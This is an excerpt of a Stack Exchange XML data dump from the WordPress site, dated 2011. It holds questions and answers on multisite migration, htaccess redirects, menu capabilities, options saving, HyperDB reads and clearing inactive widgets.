  <row Id="13490" PostTypeId="1" CreationDate="2011-03-30T14:34:06.070" Score="1" ViewCount="128" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Longtime WordPress user but new to multisite.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client's network is currently installed at dev.sitename.com&#xA;and he needs it moved over to sitename.com.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can provide simple detailed instructions on how to do this I would be &#xA;very grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2837" LastActivityDate="2011-03-30T15:55:38.010" ClosedDate="2011-04-23T22:17:16.463" Title="How to move WordPress Multisite from &quot;dev.sitename.com&quot; to &quot;sitename.com&quot;" Tags="&lt;multisite&gt;&lt;database&gt;" AnswerCount="0" CommentCount="3" />
  <row Id="13492" PostTypeId="1" CreationDate="2011-03-27T21:21:14.153" Score="0" ViewCount="107" Body="&lt;p&gt;I have a wordpress installation in a free hosting domain, and I've trying to redirect this to my new domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structure of my site is like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/&lt;/li&gt;&#xA;&lt;li&gt;.htaccess (1)&lt;/li&gt;&#xA;&lt;li&gt;index.html&lt;/li&gt;&#xA;&lt;li&gt;blog/&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(everything from wordpress)&lt;/li&gt;&#xA;&lt;li&gt;.htaccess (2)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've managed to redirect correctly / and blog/, but the permalinks, such as blog/2010 isn't working. It's weird since blog/wp-admin is redirecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My htaccess are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;RewriteEngine on&#xA;Options +FollowSymLinks&#xA;RewriteCond %{HTTP_HOST} ^(www\.)?site\.freehosting\.com$ [NC]&#xA;RewriteRule ^(.*)$ http://newsite.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(2)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;Options +FollowSymLinks&#xA;RewriteCond %{HTTP_HOST} ^(www\.)?site\.freehosting\.com.*$ [NC]&#xA;RewriteRule ^(.*)$ http://newsite.com/blog/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: where the redirection isn't working, for example, in a permalink of a post, all the links are being redirected. For example, Home actually links to my new domain.&lt;/p&gt;&#xA;" OwnerUserId="4349" LastActivityDate="2011-03-30T14:59:56.857" Title="Redirecting with htaccess a wordpress blog placed in a subfolder" Tags="&lt;apache&gt;&lt;htaccess&gt;" CommentCount="2" />
  <row Id="13493" PostTypeId="1" CreationDate="2011-03-30T15:30:04.620" Score="0" ViewCount="98" Body="&lt;p&gt;Is it possible to specify two usergroups (e.g. admins and editors) into the admin menu capability field ? I tried the following but it doesnt work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_submenu_page(&#xA;     'my-top-level-handle',&#xA;     'Page title',&#xA;     'Sub-menu title',&#xA;      array('administrator', 'editor'),&#xA;     'my-submenu-handle',&#xA;     'my_magic_function'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: Illegal offset type in isset or empty in C:\wamp\www\wordpress\wp-includes\capabilities.php on line 712&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2011-03-30T16:40:59.400" Title="Menu capability in Wordpress" Tags="&lt;capabilities&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="13494" PostTypeId="1" AcceptedAnswerId="13499" CreationDate="2011-03-30T15:46:45.827" Score="0" ViewCount="191" Body="&lt;p&gt;Processing the following form in the admin area, but the database constantly returning an empty cell where the info should be. Help!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;hidden&quot; value=&quot;admin_bar&quot; name=&quot;option_page&quot;&amp;gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;update&quot; name=&quot;action&quot;&amp;gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;fd5754f034&quot; name=&quot;_wpnonce&quot; id=&quot;_wpnonce&quot;&amp;gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;/accessibilitysite/wp-admin/options-general.php?page=admin_bar&amp;amp;amp;settings-updated=true&quot; name=&quot;_wp_http_referer&quot;&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;tbody&amp;gt;&amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;Admin Toggle&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;td&amp;gt;&amp;lt;input type=&quot;checkbox&quot; value=&quot;admin_bar_toggle&quot; name=&quot;admin_bar_[admin_bar_toggle]&quot;&amp;gt;&amp;lt;p&amp;gt;Turn Admin Bar On ?&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;        &amp;lt;/tr&amp;gt;   &#xA;&#xA;            &amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&#xA;&#xA;            &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;Save Changes&quot; class=&quot;button-primary&quot;&amp;gt;&#xA;&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-03-30T16:05:17.760" LastActivityDate="2011-03-30T16:18:21.673" Title="my checkbox is not saving it's value" Tags="&lt;admin&gt;&lt;form&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="13495" PostTypeId="2" ParentId="10685" CreationDate="2011-03-30T15:48:44.257" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/relevanssi/&quot; rel=&quot;nofollow&quot;&gt;WordPress › Relevanssi - A Better Search « WordPress Plugins&lt;/a&gt; works for both user end and backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Key features:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search results sorted in the order of relevance, not by date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fuzzy matching: match partial words, if complete words don't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find documents matching either just one search term (OR query) or require all words to appear (AND query).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for phrases with quotes, for example &quot;search phrase&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create custom excerpts that show where the hit was made, with the search terms highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Highlight search terms in the documents when user clicks through search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search comments, tags, categories and custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advanced features:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjust the weighting for titles, tags and comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log queries, show most popular queries and recent queries with no hits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restrict searches to categories and tags using a hidden variable or plugin settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Index custom post types and custom taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Index the contents of shortcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google-style &quot;Did you mean?&quot; suggestions based on successful user searches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automatic support for WPML multi-language plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced filtering to help hacking the search results the way you want.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-30T15:48:44.257" />
  <row Id="13496" PostTypeId="2" ParentId="12754" CreationDate="2011-03-30T15:52:23.520" Score="4" ViewCount="" Body="&lt;p&gt;There is a clue in &lt;code&gt;wp-includes/formatting.php&lt;/code&gt; in the function &lt;code&gt;wptexturize&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$default_no_texturize_shortcodes = array('code');&#xA;...&#xA;$no_texturize_shortcodes = '(' . implode('|',&#xA;    apply_filters('no_texturize_shortcodes', $default_no_texturize_shortcodes) ) . ')';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try using this filter to add a shortcode to the array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_no_tex( $shortcodes ) {&#xA;    $shortcodes[] = 'someshortcode';&#xA;    return $shortcodes;&#xA;}&#xA;add_filter( 'no_texturize_shortcodes', 'my_no_tex' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-03-30T15:52:23.520" />
  <row Id="13499" PostTypeId="2" ParentId="13494" CreationDate="2011-03-30T16:11:07.640" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;options.php&lt;/code&gt; does not automatically save in the database anything that you post to it. You must also tell the page which options it should look for in the posted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that you have set &lt;code&gt;option_page&lt;/code&gt; to &lt;code&gt;admin_bar&lt;/code&gt;, which is half of the solution. The other half is to add the option names to the whitelist. You are using the form element name &lt;code&gt;admin_bar_[admin_bar_toggle]&lt;/code&gt; which will show up as &lt;code&gt;$_POST['admin_bar_']['admin_bar_toggle']&lt;/code&gt; when the form is submitted with that box checked. This filter should tell &lt;code&gt;options.php&lt;/code&gt; that you want this option saved:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_page_whitelist_options( $whitelist_options ) {&#xA;    $whitelist_options['admin_bar'] = array( 'admin_bar_' );&#xA;    return $whitelist_options;&#xA;}&#xA;add_filter( 'whitelist_options', 'admin_page_whitelist_options' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, you should find what you are looking for in the option named &lt;code&gt;admin_bar_&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="498" LastEditorUserId="498" LastEditorDisplayName="" LastEditDate="2011-03-30T16:18:21.673" LastActivityDate="2011-03-30T16:18:21.673" CommentCount="2" />
  <row Id="13500" PostTypeId="2" ParentId="13493" CreationDate="2011-03-30T16:27:42.663" Score="1" ViewCount="" Body="&lt;p&gt;As t31os said, you can use capabilities instead of roles there. One way to do this is to use core capabilities. (A more advanced method is to add a custom capability to the roles of your choice.) The default caps are in &lt;code&gt;wp-admin/includes/schema.php&lt;/code&gt; in the functions called by &lt;code&gt;populate_roles()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using standard roles/caps, you can specify only admins and editors by the cap &lt;code&gt;level_7&lt;/code&gt; or &lt;code&gt;edit_others_posts&lt;/code&gt; or several others.&lt;/p&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-03-30T16:27:42.663" CommentCount="1" />
  <row Id="13501" PostTypeId="1" CreationDate="2011-03-30T16:34:38.700" Score="5" ViewCount="128" Body="&lt;p&gt;As a wannabe WP plugin developper, what are the main security flaws/holes I should look for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm about to create a new plugin with a configuration panel (ie input fields and stuff). What should I be concerned about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, is data sanitization such a big deal since it's in the /wp-admin/ area? Could someone malicious directly hit my plugin page and send POST requests or something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="4328" LastActivityDate="2011-03-30T20:51:39.140" Title="What are the common security flaws I need to look for?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;security&gt;&lt;sql&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="13502" PostTypeId="2" ParentId="13493" CreationDate="2011-03-30T16:40:59.400" Score="1" ViewCount="" Body="&lt;p&gt;Capability parameter of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_submenu_page&quot; rel=&quot;nofollow&quot;&gt;add_submenu_page()&lt;/a&gt; function can only take a single capability, &#xA;so if you are using the built in roles you can &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;select a capability fro the long list&lt;/a&gt; that both administrators and editors have any og these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;moderate_comments                        &lt;/li&gt;&#xA;&lt;li&gt;manage_categories&lt;/li&gt;&#xA;&lt;li&gt;manage_links&lt;/li&gt;&#xA;&lt;li&gt;unfiltered_html&lt;/li&gt;&#xA;&lt;li&gt;edit_others_posts&lt;/li&gt;&#xA;&lt;li&gt;edit_pages&lt;/li&gt;&#xA;&lt;li&gt;edit_others_pages&lt;/li&gt;&#xA;&lt;li&gt;edit_published_pages&lt;/li&gt;&#xA;&lt;li&gt;publish_pages&lt;/li&gt;&#xA;&lt;li&gt;delete_pages                     &lt;/li&gt;&#xA;&lt;li&gt;delete_others_pages                      &lt;/li&gt;&#xA;&lt;li&gt;delete_published_pages                       &lt;/li&gt;&#xA;&lt;li&gt;delete_others_posts                      &lt;/li&gt;&#xA;&lt;li&gt;delete_private_posts                     &lt;/li&gt;&#xA;&lt;li&gt;edit_private_posts                       &lt;/li&gt;&#xA;&lt;li&gt;read_private_posts                       &lt;/li&gt;&#xA;&lt;li&gt;delete_private_pages                     &lt;/li&gt;&#xA;&lt;li&gt;edit_private_pages                       &lt;/li&gt;&#xA;&lt;li&gt;read_private_pages&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-30T16:40:59.400" />
  <row Id="13503" PostTypeId="1" CreationDate="2011-03-30T16:54:42.247" Score="0" ViewCount="123" Body="&lt;p&gt;I'm trying to set up a paypal-subscription-based website, where people can sign up if they pay a subscription fee trough Paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty new to this Paypal IPN system, but I found this plugin which seems to do what I want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/paypal-framework/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/paypal-framework/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what command do I need to send trough the &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/paypal-framework/trunk/paypal-framework.php#L531&quot; rel=&quot;nofollow&quot;&gt;hashCall()&lt;/a&gt; function to set up a paypal subscription for the user that's attempting to register? I assume it's something else than &lt;code&gt;doDirectPayment&lt;/code&gt; and doesn't require all those CC parameters, right?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-03-30T17:11:08.510" LastActivityDate="2011-03-30T17:21:07.117" Title="Paypal Framework" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;paypal&gt;&lt;paypal-framework&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="13504" PostTypeId="1" CreationDate="2011-03-30T16:56:49.220" Score="0" ViewCount="68" Body="&lt;p&gt;I have my domian viewport.mobi, I want to create mobile review site like &lt;a href=&quot;http://www.mobileawesomeness.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.mobileawesomeness.com/&lt;/a&gt; , I think its created in wordpress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest a free or paid theme available for wordpress. so I can post screenshot of the mobile site and the review, also Open for Comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="4318" LastEditorUserId="2962" LastEditorDisplayName="" LastEditDate="2011-03-30T20:25:18.200" LastActivityDate="2011-03-30T20:25:18.200" Title="Review site using Wordpress" Tags="&lt;theme-development&gt;&lt;mobile&gt;" AnswerCount="1" />
  <row Id="13505" PostTypeId="2" ParentId="13504" CreationDate="2011-03-30T17:03:35.270" Score="2" ViewCount="" Body="&lt;p&gt;The most comprehensive review plugin is GD star rating. &lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/gd-star-rating/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A theme is very subjective, you can integrate this plugin with any theme, I would suggest browsing the theme repository for one you like, &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be specific in terms of layout your looking for a &quot;showcase&quot; theme.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-30T17:03:35.270" />
  <row Id="13506" PostTypeId="2" ParentId="12726" CreationDate="2011-03-30T17:05:45.673" Score="0" ViewCount="" Body="&lt;p&gt;Okay, I found the answer after some more hunting. Apparently the only way to pull the standard posts is to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'operator' =&amp;gt; 'NOT IN',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it looks for posts that aren't in the image post format. Or I have to add an array of terms to the terms line so it won't return any of those formats. Odd, but it works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$args = array(&#xA;  'post__not_in' =&amp;gt; $ids, &#xA;  'showposts' =&amp;gt; 10, &#xA;  'cat' =&amp;gt; '-4,-1866,-27',&#xA;  'tax_query' =&amp;gt; array(&#xA;    array(&#xA;      'taxonomy' =&amp;gt; 'post_format',&#xA;      'field' =&amp;gt; 'slug',&#xA;      'terms' =&amp;gt; 'post-format-image',&#xA;      'operator' =&amp;gt; 'NOT IN'&#xA;    )&#xA;  )&#xA;);  &#xA;    query_posts( $args ); ?&amp;gt;&#xA;&amp;lt;!-- The Loop --&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4132" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T07:42:54.827" LastActivityDate="2011-05-27T07:42:54.827" />
  <row Id="13507" PostTypeId="2" ParentId="7123" CreationDate="2011-03-30T17:14:30.610" Score="1" ViewCount="" Body="&lt;p&gt;You didn't mention a HyperDB revision so I'm assuming trunk @337290.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HyperDB's SRTM feature (send reads to master) works two ways. First, it keeps track of which tables have received writes during the current script and sends all subsequent reads for those tables to the master. Second, it gives you a way to force all reads to the master.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first case, it is still possible for a read to hit the slave after a write to the same table. If the read is a join query or another kind of query that can place table names far from the beginning of the query, it might slip through. If you can inspect the query that is improperly going to the slave, see if that's the case. If so, try increasing the &lt;code&gt;substr&lt;/code&gt; length here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( preg_match($pattern, substr($query, 0, 1000)) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's important to understand that the SRTM feature only keeps track during one script. So if you write a record (in 1st script) and then get redirected (now in 2nd script) and then try to read that record back out of the database, you will probably be reading from the slave on that second script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, let me address the &lt;code&gt;is_admin()&lt;/code&gt; idea. It's a fine idea, simple and effective. Add something like this to your db-config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() )&#xA;    $wpdb-&amp;gt;send_reads_to_masters();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-03-30T17:14:30.610" />
  <row Id="13508" PostTypeId="2" ParentId="13340" CreationDate="2011-03-30T17:16:04.820" Score="0" ViewCount="" Body="&lt;p&gt;I just checked if my WP Traffic Tools (http://www.wptraffictools.com) does this, and it does not. I thought about changing to the way you wanted, but the potential to bring unwanted overhead onto sub-blogs that do not share common links causes me to stop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But... if you were to edit the file /wp-traffic-tools/wp-cloakme.php, replacing the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{$wpdb-&gt;prefix}cloakme_profiles &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{$table_prefix}cloakme_profiles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;wpt_cloakme_profiles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the the multi-sites would share a table and the urls would work like you're thinking. I bet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My email is atwell.publishing AT gmail.com; I'm willing to help a little, refund you if we can't get it to work...&lt;/p&gt;&#xA;" OwnerUserId="4202" LastActivityDate="2011-03-30T17:16:04.820" CommentCount="1" />
  <row Id="13509" PostTypeId="1" AcceptedAnswerId="13511" CreationDate="2011-03-30T17:17:45.060" Score="3" ViewCount="105" Body="&lt;p&gt;It is highly recommended practice (that I completely agree with) to develop with &lt;code&gt;WP_DEBUG&lt;/code&gt; enabled. However it is merely inconvenient to see not yet fixed warnings in pages, but in Ajax responses they ruin response completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just starting with Ajax in WP, is there some appropriate hook to suppress errors for Ajax responses only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS fix everything is not viable option at moment, because it is extremely extensive and complex environment :)&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-30T17:30:59.677" Title="How to override WP_DEBUG for Ajax responses?" Tags="&lt;ajax&gt;&lt;wp-debug&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13510" PostTypeId="1" AcceptedAnswerId="13516" CreationDate="2011-03-30T17:18:13.993" Score="0" ViewCount="93" Body="&lt;p&gt;I've been working with widgets a lot lately and have amassed a ton of widgets in the inactive widgets collection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone share a script or plugin that will remove all inactive widgets from the site?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-30T17:31:22.043" Title="Script to remove all inactive widgets?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="13511" PostTypeId="2" ParentId="13509" CreationDate="2011-03-30T17:20:11.387" Score="6" ViewCount="" Body="&lt;p&gt;In &lt;code&gt;wp-config.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( defined( 'DOING_AJAX' ) &amp;amp;&amp;amp; DOING_AJAX )&#xA;    define( 'WP_DEBUG', false );&#xA;else&#xA;    define( 'WP_DEBUG', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="498" LastEditorUserId="498" LastEditorDisplayName="" LastEditDate="2011-03-30T17:30:59.677" LastActivityDate="2011-03-30T17:30:59.677" CommentCount="1" />
  <row Id="13512" PostTypeId="2" ParentId="13503" CreationDate="2011-03-30T17:21:07.117" Score="1" ViewCount="" Body="&lt;p&gt;For subscriptions the method should be &lt;code&gt;CreateRecurringPaymentsProfile&lt;/code&gt; and you still have to &#xA;send trough all those CC parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get a better understanding take a  look at &lt;a href=&quot;http://wordpress.org/extend/plugins/paypal-api-subscriptions/&quot; rel=&quot;nofollow&quot;&gt;PayPal API Subscriptions&lt;/a&gt; which is a bit outdated but the code part of the API call is still relevant.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-30T17:21:07.117" CommentCount="4" />
  <row Id="13514" PostTypeId="2" ParentId="13327" CreationDate="2011-03-30T17:23:36.593" Score="0" ViewCount="" Body="&lt;p&gt;I figured this out on my own. I use the code below and duplicated it as many times as I needed without any issues so far. If anyone thinks this is incorrect than please comment. I was not using the main loop anywhere else on this page and used WP_Query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;subcats-list&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;$weightloss = new WP_Query();&#xA;$weightloss-&amp;gt;query('showposts=5');&#xA;&#xA;while ($weightloss-&amp;gt;have_posts()) : $weightloss-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA; &amp;lt;/ul&amp;gt;&amp;lt;!-- subcat --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-03-30T17:23:36.593" />
  <row Id="13515" PostTypeId="1" AcceptedAnswerId="13557" CreationDate="2011-03-30T17:30:32.120" Score="0" ViewCount="98" Body="&lt;p&gt;I have a standard Wordpress loop displaying items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     $loop = new WP_Query( array( &#xA;            'post_type' =&amp;gt; 'images',   &#xA;            'orderby' =&amp;gt; 'menu_order',&#xA;             ) );&#xA;&#xA;   while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); &#xA;&#xA;   /* loop code, HTML mostly, a few if statements, nothing special */&#xA;&#xA;   endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to display CERTAIN data from meta boxes and here comes the trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the_meta() works just fine, but get_post_meta() doesn't work at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening? Any fixes? I need to do something like get_post_meta($post-&gt;ID, 'metabox_field', true).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alright. More details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type called &quot;images&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each image item has it's own metabox with a few fields inside, let's call them image_date, image_author, copyrights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display image author from field called image_author, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $author = get_post_meta($post-&amp;gt;ID, 'image_author', true); &#xA;    echo $author;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is it works ONLY when I open SINGLE image (single-image.php), but doesn't in loop (and I want to display this data for each item in loop also).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The_meta() works in both places if it changes something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My loop looks exactly as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that's all :)&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-03-30T18:09:02.587" LastActivityDate="2011-03-30T21:44:39.847" Title="Metadata in loops" Tags="&lt;loop&gt;&lt;metabox&gt;&lt;post-meta&gt;&lt;custom-loop&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="13516" PostTypeId="2" ParentId="13510" CreationDate="2011-03-30T17:31:22.043" Score="2" ViewCount="" Body="&lt;p&gt;something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$widgets = get_option('sidebars_widgets');&#xA;$widgets['wp_inactive_widgets'] = array();&#xA;update_option('sidebars_widgets', $widgets);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-03-30T17:31:22.043" CommentCount="2" />
